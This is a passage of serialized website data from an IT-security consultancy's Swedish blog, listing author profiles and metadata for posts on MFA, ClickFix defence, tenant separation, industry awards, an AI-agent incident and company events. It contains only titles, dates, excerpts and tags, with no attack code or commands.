Sayyar","people/people-mahschid-sayyar.jpg","/authors/mahschid-sayyar","mahschid-sayyar-97544463",{"display_name":3015,"avatar":3016,"permalink":3017,"linkedin":3018},"Benjamin Dassow","people/people-benjamin-dassow.jpg","/authors/benjamin-dassow","benjamin-dassow",{"display_name":3020,"avatar":3021,"permalink":3022,"linkedin":3023},"Markus Walschburger","people/people-markus-walschburger.jpg","/authors/markus-walschburger","markus-walschburger",{"display_name":3025,"avatar":3026,"permalink":3027,"linkedin":3028,"imageOffsetTop":2783},"Jonathan Haist","people/people-jonathan-haist.jpg","/authors/jonathan-haist","jonathanhaist",{"display_name":3030,"avatar":3031,"permalink":3032,"linkedin":3033,"imageOffsetTop":2783},"Daniel Rohregger","people/people-daniel-rohregger.jpg","/authors/daniel-rohregger","drohregger",{"display_name":3035,"avatar":3036,"permalink":3037,"linkedin":3038,"imageOffsetTop":2883},"Thomas Naunheim","people/people-thomas-naunheim.jpg","/authors/thomas-naunheim","thomasnaunheim",{"display_name":3040,"avatar":3041,"permalink":3042,"linkedin":3043,"imageOffsetTop":2883},"Florian Stöckl","people/people-florian-stoeckl.jpg","/authors/florian-stoeckl","florianstoeckl",{"display_name":523,"avatar":3045,"permalink":3046,"linkedin":3047,"imageOffsetTop":2883},"people/Pascal.Asch.648.jpg","/authors/pascal-asch","pascal-asch",{"display_name":3049,"avatar":3050,"permalink":3051,"linkedin":3052,"imageOffsetTop":3053,"imageOffsetLeft":3054},"Markus Kättner","people/markus-kaettner.jpg","/authors/markus-kaettner","markus-kättner-b600119","62%","63%",{"display_name":3056,"avatar":3057,"permalink":3058,"linkedin":3059,"imageOffsetTop":3060,"imageOffsetLeft":3061},"Anna Ulbricht","people/anna-katharina.ulbricht-09.png","/authors/anna-ulbricht","anna-katharina-u-a67702199","70%","50%",{"display_name":3063,"avatar":3064,"permalink":3065,"linkedin":3066,"imageOffsetTop":3067,"imageOffsetLeft":2810},"Annette Brauns","people/Annette-Brauns-8.jpg","/authors/annette-brauns","annette-brauns","95%",{"Fritz Zurhorst":3069,"Alexander Schlindwein":3070,"Sophie Luna":3071,"Nadine Klein":3072,"Karsten Kleinschmidt":3073,"Julian Wendt":3074,"Holger Bunkradt":3075,"Ralf Mania":3076,"Oliver Kieselbach":3077,"Steffen Schwerdtfeger":3078,"Gunnar Winter":3079,"Jan Petersen":3080,"Thorsten Kunzi":3081,"Moritz Pohl":3082,"Thorben Pöschus":3083,"Christoph Hannebauer":3084,"Marco Scheel":3085,"Christopher Brumm":3086,"Florian Klante":3087,"Niklas Bachmann":3088,"Nils Krautkrämer":3089,"Patrick Treptau":3090,"Peter Beckendorf":3091,"Patrick Sobau":3092,"Jörg Wunderlich":3093,"Michael Breither":3094,"Christian Kanja":3095,"Zeba Hoffmann":3096,"Jochen Fröhlich":3097,"Jan Geisbauer":3098,"Gerrit Reinke":3102,"Christian Kordel":3103,"Stephan Wälde":3104,"Carolin Kanja":3105,"Adrian Ritter":3106,"Marvin Bangert":3107,"Thorsten Pickhan":3108,"Christian Lorenz":3109,"Denis Böhm":3110,"Fabian Bader":3111,"Juan Jose Fernandez Perez":3112,"Mahschid Sayyar":3113,"Benjamin Dassow":3114,"Markus Walschburger":3115,"Jonathan Haist":3116,"Daniel Rohregger":3117,"Thomas Naunheim":3118,"Florian Stöckl":3119,"Pascal Asch":3120,"Markus Kättner":3121,"Anna Ulbricht":3122,"Annette Brauns":3123},{"display_name":2779,"avatar":2780,"permalink":2781,"linkedin":2782,"imageOffsetTop":2783},{"display_name":2785,"avatar":2786,"permalink":2787,"twitter":2788,"linkedin":2789},{"display_name":2791,"avatar":2792,"permalink":2793,"twitter":2794,"linkedin":2795,"imageOffsetLeft":2796,"imageOffsetTop":2797},{"display_name":2799,"avatar":2800,"permalink":2801,"twitter":2802,"linkedin":2803,"imageOffsetTop":2783},{"display_name":2805,"avatar":2806,"permalink":2807,"twitter":2808,"linkedin":2809,"imageOffsetTop":2810,"imageOffsetLeft":2811},{"display_name":2813,"avatar":2814,"permalink":2815,"linkedin":2816},{"display_name":2818,"avatar":2819,"permalink":2820,"linkedin":2821,"twitter":2822},{"display_name":2824,"avatar":2825,"permalink":2826,"linkedin":2827,"twitter":2828},{"display_name":2830,"avatar":2831,"permalink":2832,"linkedin":2833,"twitter":2834},{"display_name":2836,"avatar":2837,"permalink":2838,"linkedin":2839,"twitter":2840,"imageOffsetTop":2841,"imageOffsetLeft":2842},{"display_name":2844,"avatar":2845,"permalink":2846,"twitter":2794,"linkedin":2847},{"display_name":2849,"avatar":2850,"permalink":2851,"twitter":2794,"linkedin":2852},{"display_name":2854,"avatar":2855,"permalink":2856,"twitter":2794,"linkedin":2847,"imageOffsetTop":2783},{"display_name":2858,"avatar":2859,"permalink":2860,"twitter":2794,"linkedin":2861},{"display_name":2863,"avatar":2864,"permalink":2865,"twitter":2866,"linkedin":2867},{"display_name":2869,"avatar":2870,"permalink":2871,"twitter":2794,"linkedin":2847,"imageOffsetTop":2783},{"display_name":2873,"avatar":2874,"permalink":2875,"twitter":2876,"linkedin":2876},{"display_name":2878,"avatar":2879,"permalink":2880,"twitter":2881,"linkedin":2882,"imageOffsetTop":2883},{"display_name":2885,"avatar":2886,"permalink":2887,"linkedin":2888,"twitter":2794},{"display_name":2890,"avatar":2891,"permalink":2892,"linkedin":2893,"twitter":2794},{"display_name":2895,"avatar":2896,"permalink":2897,"twitter":2898,"linkedin":2899},{"display_name":2901,"avatar":2902,"permalink":2903,"linkedin":2904,"twitter":2794},{"display_name":2906,"avatar":2907,"permalink":2908,"linkedin":2909,"twitter":2794,"imageOffsetTop":2783},{"display_name":2911,"avatar":2912,"permalink":2913,"linkedin":2914,"twitter":2794},{"display_name":2916,"avatar":2917,"permalink":2918,"twitter":2794},{"display_name":2920,"avatar":2921,"permalink":2922,"twitter":2794,"linkedin":2923},{"display_name":2925,"avatar":2926,"permalink":2927,"twitter":2928,"linkedin":2929},{"display_name":2931,"avatar":2932,"permalink":2933,"linkedin":2934,"twitter":2794},{"display_name":2936,"avatar":2937,"permalink":2938,"twitter":2794,"linkedin":2847},{"display_name":2714,"avatar":2940,"permalink":2941,"twitter":2942,"linkedin":2942,"imageOffsetTop":2783,"socials":3099},[3100,3101],{"text":2945,"href":2946},{"text":2948,"href":2949},{"display_name":2951,"avatar":2952,"permalink":2953,"twitter":2954,"linkedin":2955},{"display_name":2957,"avatar":2958,"permalink":2959,"twitter":2794,"linkedin":2847},{"display_name":2961,"avatar":2962,"permalink":2963,"twitter":2964,"linkedin":2847},{"display_name":2966,"avatar":2967,"permalink":2968,"twitter":2969,"linkedin":2970},{"display_name":2972,"avatar":2973,"permalink":2974,"twitter":2975,"linkedin":2975},{"display_name":2977,"avatar":2978,"permalink":2979,"twitter":2980,"linkedin":2981},{"display_name":2983,"avatar":2984,"permalink":2985,"twitter":2986,"linkedin":2987},{"display_name":2989,"avatar":2990,"permalink":2991,"linkedin":2992,"twitter":2794},{"display_name":2994,"avatar":2995,"permalink":2996,"linkedin":2997,"twitter":2794},{"display_name":2999,"avatar":3000,"permalink":3001,"linkedin":3002,"twitter":3003},{"display_name":3005,"avatar":3006,"permalink":3007,"linkedin":3008},{"display_name":3010,"avatar":3011,"permalink":3012,"linkedin":3013},{"display_name":3015,"avatar":3016,"permalink":3017,"linkedin":3018},{"display_name":3020,"avatar":3021,"permalink":3022,"linkedin":3023},{"display_name":3025,"avatar":3026,"permalink":3027,"linkedin":3028,"imageOffsetTop":2783},{"display_name":3030,"avatar":3031,"permalink":3032,"linkedin":3033,"imageOffsetTop":2783},{"display_name":3035,"avatar":3036,"permalink":3037,"linkedin":3038,"imageOffsetTop":2883},{"display_name":3040,"avatar":3041,"permalink":3042,"linkedin":3043,"imageOffsetTop":2883},{"display_name":523,"avatar":3045,"permalink":3046,"linkedin":3047,"imageOffsetTop":2883},{"display_name":3049,"avatar":3050,"permalink":3051,"linkedin":3052,"imageOffsetTop":3053,"imageOffsetLeft":3054},{"display_name":3056,"avatar":3057,"permalink":3058,"linkedin":3059,"imageOffsetTop":3060,"imageOffsetLeft":3061},{"display_name":3063,"avatar":3064,"permalink":3065,"linkedin":3066,"imageOffsetTop":3067,"imageOffsetLeft":2810},"Authors","1csawlkJxRljy93GTOnXEkwLqAv9Lcj-apxRvoodAOY",{"list":3127,"authors":3330},[3128,3145,3159,3173,3189,3202,3215,3228,3240,3256,3270,3285,3290,3301,3314],{"id":3129,"title":3130,"author":3131,"cta":494,"description":585,"hideInRecent":484,"layout":2676,"meta":3132,"moment":3137,"path":3138,"stem":3139,"tags":3140,"webcast":484},"content_sv/posts/2026-09-22-end-of-mfa-sms.md","Slutet för MFA-SMS",[2805],{"lang":2678,"date":3133,"categories":3134,"blogtitlepic":3135,"customExcerpt":3136},"2026-09-21",[2683],"head-conditional-access.jpg","Varför företag nu bör gå över till phishingresistenta och så långt möjligt lösenordsfria inloggningsmetoder.","2026-09-22","/posts/2026-09-22-end-of-mfa-sms","posts/2026-09-22-end-of-mfa-sms",[2683,3141,3142,3143,3144],"Authentication","Microsoft Entra ID","MFA","Passkeys",{"id":3146,"title":3147,"author":3148,"cta":494,"description":585,"hideInRecent":484,"layout":2676,"meta":3149,"moment":3133,"path":3153,"stem":3154,"tags":3155,"webcast":484},"content_sv/posts/2026-09-21-clickfix-prevent-detect.md","ClickFix. När användaren är exploiten, och hur ni stoppar det",[2779,2799],{"lang":2678,"date":3133,"categories":3150,"blogtitlepic":3151,"customExcerpt":3152},[2683],"head-clickfix.jpg","ClickFix gör användare till sin egen angripare: ett förfalskat CAPTCHA, en copy-paste, och skadlig kod körs i minnet utan att något landar på disken. Hur Microsoft Defender upptäcker attacken, var detekteringen når sina gränser och hur ni stänger luckan med en RunMRU-hunt och fyra skyddslager.","/posts/2026-09-21-clickfix-prevent-detect","posts/2026-09-21-clickfix-prevent-detect",[3156,3157,3158],"Defender","SOC","Endpoint Security",{"id":3160,"title":3161,"author":3162,"cta":494,"description":585,"hideInRecent":484,"layout":2676,"meta":3163,"moment":3133,"path":3167,"stem":3168,"tags":3169,"webcast":484},"content_sv/posts/2026-09-21-red-tenant-dark-tenant-cio.md","Admin och vardag på samma dator? Game Over.",[2714],{"lang":2678,"date":3133,"categories":3164,"blogtitlepic":3165,"customExcerpt":3166},[2683],"head-game-over-en.jpg","Varför en tenant inte räcker för CIO:er, och varför den andra sällan tänks med. Managed Red Tenant separerar administrativt arbete arkitektoniskt från kontorsmiljön, Managed Dark Tenant håller företaget handlingskraftigt när försvaret ändå faller. Vad det betyder för driftmodell, SOC-signal och bevisplikterna enligt NISG 2026.","/posts/2026-09-21-red-tenant-dark-tenant-cio","posts/2026-09-21-red-tenant-dark-tenant-cio",[2683,3170,3171,3172],"Privileged Access","Zero Trust","NIS2",{"id":3174,"title":3175,"author":3176,"cta":494,"description":3177,"hideInRecent":484,"layout":2676,"meta":3178,"moment":3179,"path":3184,"stem":3185,"tags":3186,"webcast":484},"content_sv/posts/2026-08-08-isg-germany-2026.md","Fyra gånger Leader. glueckkanja i ISG-studien Tyskland 2026",[2966],"ISG har bytt namn på sin studie i år. Microsoft Cloud Ecosystem blev Microsoft AI and Cloud Ecosystem, och med namnet har måttstocken förskjutits: det som bedöms är inte längre vem som inför Microsoft-plattformar, utan vem som driver Copilot, agenter och AI-workloads kontrollerbart. På vår position har den nya måttstocken inte ändrat något. ISG Provider Lens®-studien Tyskland 2026 positionerar oss som Leader i fyra kvadranter: Microsoft Productivity and Business Process Services och Azure Managed Services, i både Large Market och Mid Market. Efter 2021, 2023, 2024 och 2025 är det den femte Leader-placeringen i Tyskland, i Schweiz kom steget in i Leader-kvadranten två veckor tidigare.",{"lang":2678,"date":3179,"categories":3180,"blogtitlepic":3182,"customExcerpt":3183},"2026-08-08",[3181],"Corporate","head-isg-de-2026.png","ISG Provider Lens®-studien 2026 positionerar glueckkanja i Tyskland som Leader i fyra kvadranter: Microsoft Productivity and Business Process Services och Azure Managed Services, i både Large och Mid Market. Studien heter nu Microsoft AI and Cloud Ecosystem, och måttstocken har förskjutits: det som bedöms är vem som driver AI- och agent-workloads kontrollerbart.","/posts/2026-08-08-isg-germany-2026","posts/2026-08-08-isg-germany-2026",[3187,3188],"Award","ISG",{"id":3190,"title":3191,"author":3192,"cta":494,"description":3193,"hideInRecent":484,"layout":2676,"meta":3194,"moment":3195,"path":3199,"stem":3200,"tags":3201,"webcast":484},"content_sv/posts/2026-07-31-isg-switzerland-2026.md","Från Rising Star till Leader. glueckkanja i ISG-studien Schweiz 2026",[2966],"2024 grundade vi glueckkanja Switzerland AG och flyttade in i ett kontor i zentroom på Bahnhofplatz 10b i Bern. 2025 placerade ISG oss som Rising Star på den schweiziska marknaden, som den leverantör som analytikerna tror kan ta steget in i Leader-kvadranten. Nu är steget dokumenterat: ISG Provider Lens®-studien 2026 positionerar oss i Schweiz som Leader i kvadranten Microsoft AI and Cloud Ecosystem, inom områdena Azure Managed Services och Microsoft Productivity and Business Process Services.",{"lang":2678,"date":3195,"categories":3196,"blogtitlepic":3197,"customExcerpt":3198},"2026-07-31",[3181],"head-isg-ch-2026.png","ISG Provider Lens®-studien 2026 positionerar glueckkanja i Schweiz som Leader i kvadranten Microsoft AI and Cloud Ecosystem, inom områdena Azure Managed Services och Microsoft Productivity and Business Process Services. Två år efter marknadsinträdet i Bern, ett år efter Rising Star-utmärkelsen.","/posts/2026-07-31-isg-switzerland-2026","posts/2026-07-31-isg-switzerland-2026",[3187,3188],{"id":3203,"title":3204,"author":3205,"cta":494,"description":585,"hideInRecent":484,"layout":2676,"meta":3206,"moment":3207,"path":3211,"stem":3212,"tags":3213,"webcast":484},"content_sv/posts/2026-07-24-outbreak-openai-hugging-face.md","Outbreak. Vad OpenAI/Hugging-Face-incidenten avslöjar och vad den inte avslöjar",[2714],{"lang":2678,"date":3207,"categories":3208,"blogtitlepic":3209,"customExcerpt":3210},"2026-07-24",[2683],"head-outbreak.jpg","En AI-agent bryter sig ut ur sin testmiljö, hittar en zero-day och hackar ett annat företag. Låter som filmmanus, men hände faktiskt i juli 2026. Tid för en nykter placering: med lite psykologi, två security-veteraner och frågan om vad det betyder för ert försvar.","/posts/2026-07-24-outbreak-openai-hugging-face","posts/2026-07-24-outbreak-openai-hugging-face",[3214,3157,3171],"AI",{"id":3216,"title":3217,"author":3218,"cta":494,"description":3219,"hideInRecent":484,"layout":2676,"meta":3220,"moment":3221,"path":3225,"stem":3226,"tags":3227,"webcast":484},"content_sv/posts/2026-07-22-isg-cybersecurity-2026.md","Leader och Rising Star. glueckkanja i ISG:s cybersecurity-studie 2026",[2966],"Ny i kvadranten och direkt Leader: ISG Provider Lens®-studien \"Cybersecurity – Services and Solutions 2026\" positionerar glueckkanja som Leader inom Next-Gen SOC/MDR Services för medelstora företag i Tyskland. I totalmarknaden för Next-Gen SOC/MDR Services utser ISG oss till Rising Star, alltså den leverantör som analytikerna tror kan ta steget in i Leader-kvadranten inom de närmaste 12 till 24 månaderna.",{"lang":2678,"date":3221,"categories":3222,"blogtitlepic":3223,"customExcerpt":3224},"2026-07-22",[3181],"head-isg-cybersecurity-2026.png","ISG Provider Lens®-studien Cybersecurity 2026 utser glueckkanja till Leader i kvadranten Next-Gen SOC/MDR Services (Midmarket). I totalmarknaden för Next-Gen SOC/MDR Services är vi Rising Star. ISG intygar att vi har tillväxt över snittet, djup Microsoft-security-expertis och ett 24/7-SOC från Tyskland.","/posts/2026-07-22-isg-cybersecurity-2026","posts/2026-07-22-isg-cybersecurity-2026",[3187,3188,2683],{"id":3229,"title":3230,"author":3231,"cta":494,"description":3232,"hideInRecent":484,"layout":2676,"meta":3233,"moment":3234,"path":3237,"stem":3238,"tags":3239,"webcast":484},"content_sv/posts/2026-07-06-the-holy-trinity.md","The Holy Trinity: vad AI verkligen behöver för att arbeta",[2966],"Ett tillverkande företag vill veta vilka av dess 14 000 SKU:er som faktiskt är lönsamma. Svaret ligger i tre system som aldrig har utbytt en enda datapunkt med varandra. Fram till helt nyligen kostade det tre avdelningar, två veckor och en hel del god vilja att få fram det. Sedan början av 2026 kan en AI besvara den frågan på minuter: söka igenom data, upprätta samband, producera en rekommendation. Förutsatt att den har åtkomst.",{"lang":2678,"date":3234,"categories":3235,"blogtitlepic":3236},"2026-07-06",[131],"head-the-holy-trinity","/posts/2026-07-06-the-holy-trinity","posts/2026-07-06-the-holy-trinity",[3214,131],{"id":3241,"title":3242,"author":3243,"cta":494,"description":3244,"hideInRecent":484,"layout":2676,"meta":3245,"moment":3246,"path":3250,"stem":3251,"tags":3252,"webcast":484},"content_sv/posts/2026-07-01-onboarding-process.md","Kontraktet är påskrivet: så går din onboarding till hos oss",[3056],"Hur går egentligen er onboarding till? En fråga som möter oss gång på gång i samtal med sökande, för många har redan varit med om att en onboarding går knaggligt. Desto viktigare är det för oss att ge dig en bra känsla från början.",{"lang":2678,"date":3246,"categories":3247,"blogtitlepic":3248,"customExcerpt":3249},"2026-07-01",[3181],"Onboarding_Blogheader","Kontraktet är påskrivet, det första stora steget är taget. Men hur går det vidare nu? Vi tar med dig bakom kulisserna på vår onboarding, från preboarding till första veckan i teamet.","/posts/2026-07-01-onboarding-process","posts/2026-07-01-onboarding-process",[3253,3254,3255],"Employer Branding","Onboarding","Unternehmenskultur",{"id":3257,"title":3258,"author":3259,"cta":494,"description":3260,"hideInRecent":484,"layout":2676,"meta":3261,"moment":3262,"path":3266,"stem":3267,"tags":3268,"webcast":484},"content_sv/posts/2026-06-26-frontier-partner.md","Microsoft Frontier Partner: vi hör till",[2966],"I Microsofts partnerekosystem finns en hel rad erkännanden, och ändå skiljer sig Frontier Partner Badge i sin uppläggning från de övriga utmärkelserna. Den går inte att ansöka om, utan tilldelas på Microsofts initiativ till en exklusiv krets av partner som måste övertyga i flera discipliner parallellt, i stället för att briljera i en enda. Microsoft prövar därvid påvisad kompetens inom Cloud & AI Platforms, inom AI Business Solutions och inom Security på lika villkor, och vänder sig därmed till företag som inte uppfattar AI som ett påhäng på befintlig IT, utan som resultatet av en genomgående arkitektur som bär från identiteten via endpointen ända in i produktiv AI-drift.",{"lang":2678,"date":3262,"categories":3263,"blogtitlepic":3264,"customExcerpt":3265},"2026-06-26",[3181],"head-frontier-partner-badge.jpg","Sedan en tid tillbaka finns det en ny topputmärkelse i Microsoft AI Cloud Partner Program, Frontier Partner Badge. Microsoft tilldelar den uteslutande till en exklusiv krets av partner världen över som levererar bärkraftiga AI-projekt på hela Microsoft-stacken, från arbetsplatsen via molnplattformen och security ända in i själva AI-tillämpningen, och som har bevisat den ambitionen i praktiken. I DACH-området räknar den här gruppen bara en handfull företag, och vi är ett av dem.","/posts/2026-06-26-frontier-partner","posts/2026-06-26-frontier-partner",[3187,3269,3214],"Microsoft Partner",{"id":3271,"title":3272,"author":3273,"cta":494,"description":3274,"hideInRecent":484,"layout":2676,"meta":3275,"moment":3276,"path":3280,"stem":3281,"tags":3282,"webcast":484},"content_sv/posts/2026-06-09-vair-run.md","160 kilometer för ett gott ändamål",[3063],"Söndag morgon, klockan 8:30, Holbeinsteg vid Main. Elva kollegor i enhetliga NinjaCat-tröjor, redo för Frankfurter Runden. Regn, blixt och åska inkluderat. Att springa för ett gott ändamål var motivation nog för att snöra på löparskorna trots det dåliga vädret.",{"lang":2678,"date":3276,"categories":3277,"blogtitlepic":3278,"customExcerpt":3279},"2026-06-08",[3181],"frankfurter-runden.png","Elva kollegor, 16 varv, 160 kilometer, ett åskoväder och en pallplats: glueckkanja var med på Frankfurter Runden 2026 och skänkte pengar till VAIR e.V. för varje sprunget varv. Föreningen bygger en inkluderande sport- och kulturpark i Offenbach.","/posts/2026-06-09-vair-run","posts/2026-06-09-vair-run",[3283,3253,3284],"Top Arbeitgeber","Soziales Engagement",{"id":520,"title":521,"author":3286,"cta":494,"description":530,"hideInRecent":484,"layout":2676,"meta":3287,"moment":2681,"path":2763,"stem":2765,"tags":3289,"webcast":484},[523],{"lang":2678,"date":2681,"categories":3288,"blogtitlepic":2684,"customExcerpt":2686},[2683],[2767,2768,2769,2770,2771],{"id":3291,"title":3292,"author":3293,"cta":494,"description":3294,"hideInRecent":484,"layout":2676,"meta":3295,"moment":3296,"path":3299,"stem":3300,"tags":494,"webcast":484},"content_sv/posts/2026-03-21-microsoft-edge-corporate-browser.md","Därför bör Edge vara er enda Corporate Browser",[2836],"Valet av webbläsare är i företagsmiljöer ett strategiskt beslut: det påverkar direkt hur mycket säkerhet och administrativ börda ni faktiskt har. Google Chrome var länge det närliggande alternativet, men Microsoft Edge har utvecklats till en webbläsare som griper direkt in i den befintliga stacken, framför allt när Microsoft 365 används och administrationen sker via Intune.",{"lang":2678,"date":3296,"blogtitlepic":3297,"customExcerpt":3298},"2026-03-21","head-microsoft-edge-default-browser.jpg","Inget företag har egentligen valt Chrome; den fanns bara där, med egen synklogik, egen kontohantering, eget policygränssnitt. Microsoft Edge däremot griper direkt in i den infrastruktur som ändå redan är igång: Entra ID, Intune, Defender. Det här inlägget visar hur bytet ser ut, hur Chrome via en Intune-policy omdirigeras till en landningssida och vad som faller bort när man slutar köra två webbläsare parallellt.","/posts/2026-03-21-microsoft-edge-corporate-browser","posts/2026-03-21-microsoft-edge-corporate-browser",{"id":3302,"title":3303,"author":3304,"cta":494,"description":3305,"hideInRecent":484,"layout":2676,"meta":3306,"moment":3307,"path":3311,"stem":3312,"tags":3313,"webcast":484},"content_sv/posts/2026-03-20-stryker-attack-intune-privilege.md","Ett adminkonto var allt som krävdes.",[2714],"Onsdag den 11 mars 2026. Medarbetare på Strykers kontor i 79 länder slog på sina datorer och fann dem tomma. Inloggningsskärmar ersatta med en logotyp. Företagsdatorer, tjänstemobiler, privata enheter som var registrerade i företagets BYOD-program – alla raderade samtidigt, över natten. Ingen ransomware, inga signaturer för skadlig kod, ingenting som ett endpoint-detection-verktyg hade kunnat upptäcka.",{"lang":2678,"date":3307,"categories":3308,"blogtitlepic":3309,"customExcerpt":3310},"2026-03-20",[2683],"head-stryker.jpg","Den 11 mars 2026 raderade Handala enheter i 79 länder, och allt som krävdes för det var ett komprometterat Intune-adminkonto. Ingen skadlig kod, ingen exploit, bara legitima hanteringsverktyg vända mot sina ägare. Vad som hände, varför det fungerade och vilka två arkitektoniska luckor som måste stängas.","/posts/2026-03-20-stryker-attack-intune-privilege","posts/2026-03-20-stryker-attack-intune-privilege",[71,3170,3171],{"id":3315,"title":3316,"author":3317,"cta":494,"description":3318,"hideInRecent":484,"layout":2676,"meta":3319,"moment":3320,"path":3324,"stem":3325,"tags":3326,"webcast":484},"content_sv/posts/2026-03-16-ai-agent-hackathon.md","Sex Agents. Fyra veckor. Skarp drift.",[2966],"Hur många timmar per vecka lägger er IT-avdelning på uppgifter som en agent skulle kunna klara på minuter?",{"lang":2678,"date":3320,"categories":3321,"blogtitlepic":3322,"customExcerpt":3323},"2026-03-16",[3181],"head-ai-agent-hackathon.jpg","Sex företag, fyra veckors byggfas, sex fungerande AI Agents – det var den första glueckkanja AI Agent Hackathon. Kiekert, Dr. Oetker, Eckes-Granini, igefa och lila logistik byggde i Copilot Studio agents som idag körs i produktion. Vad som blev resultatet och hur formatet fungerar.","/posts/2026-03-16-ai-agent-hackathon","posts/2026-03-16-ai-agent-hackathon",[3214,3327,3328,3329],"Copilot Studio","Hackathon","AI Agents",{"Karsten Kleinschmidt":3331,"Fritz Zurhorst":3332,"Nadine Klein":3333,"Jan Geisbauer":3334,"Carolin Kanja":3338,"Anna Ulbricht":3339,"Annette Brauns":3340,"Pascal Asch":3341,"Steffen Schwerdtfeger":3342},{"display_name":2805,"avatar":2806,"permalink":2807,"twitter":2808,"linkedin":2809,"imageOffsetTop":2810,"imageOffsetLeft":2811},{"display_name":2779,"avatar":2780,"permalink":2781,"linkedin":2782,"imageOffsetTop":2783},{"display_name":2799,"avatar":2800,"permalink":2801,"twitter":2802,"linkedin":2803,"imageOffsetTop":2783},{"display_name":2714,"avatar":2940,"permalink":2941,"twitter":2942,"linkedin":2942,"imageOffsetTop":2783,"socials":3335},[3336,3337],{"text":2945,"href":2946},{"text":2948,"href":2949},{"display_name":2966,"avatar":2967,"permalink":2968,"twitter":2969,"linkedin":2970},{"display_name":3056,"avatar":3057,"permalink":3058,"linkedin":3059,"imageOffsetTop":3060,"imageOffsetLeft":3061},{"display_name":3063,"avatar":3064,"permalink":3065,"linkedin":3066,"imageOffsetTop":3067,"imageOffsetLeft":2810},{"display_name":523,"avatar":3045,"permalink":3046,"linkedin":3047,"imageOffsetTop":2883},{"display_name":2836,"avatar":2837,"permalink":2838,"linkedin":2839,"twitter":2840,"imageOffsetTop":2841,"imageOffsetLeft":2842},{"id":2774,"extension":2775,"meta":3344,"stem":8,"__hash__":3125},{"Pascal Asch":3345},{"display_name":523,"avatar":3045,"permalink":3046,"linkedin":3047,"imageOffsetTop":2883},1791383950617]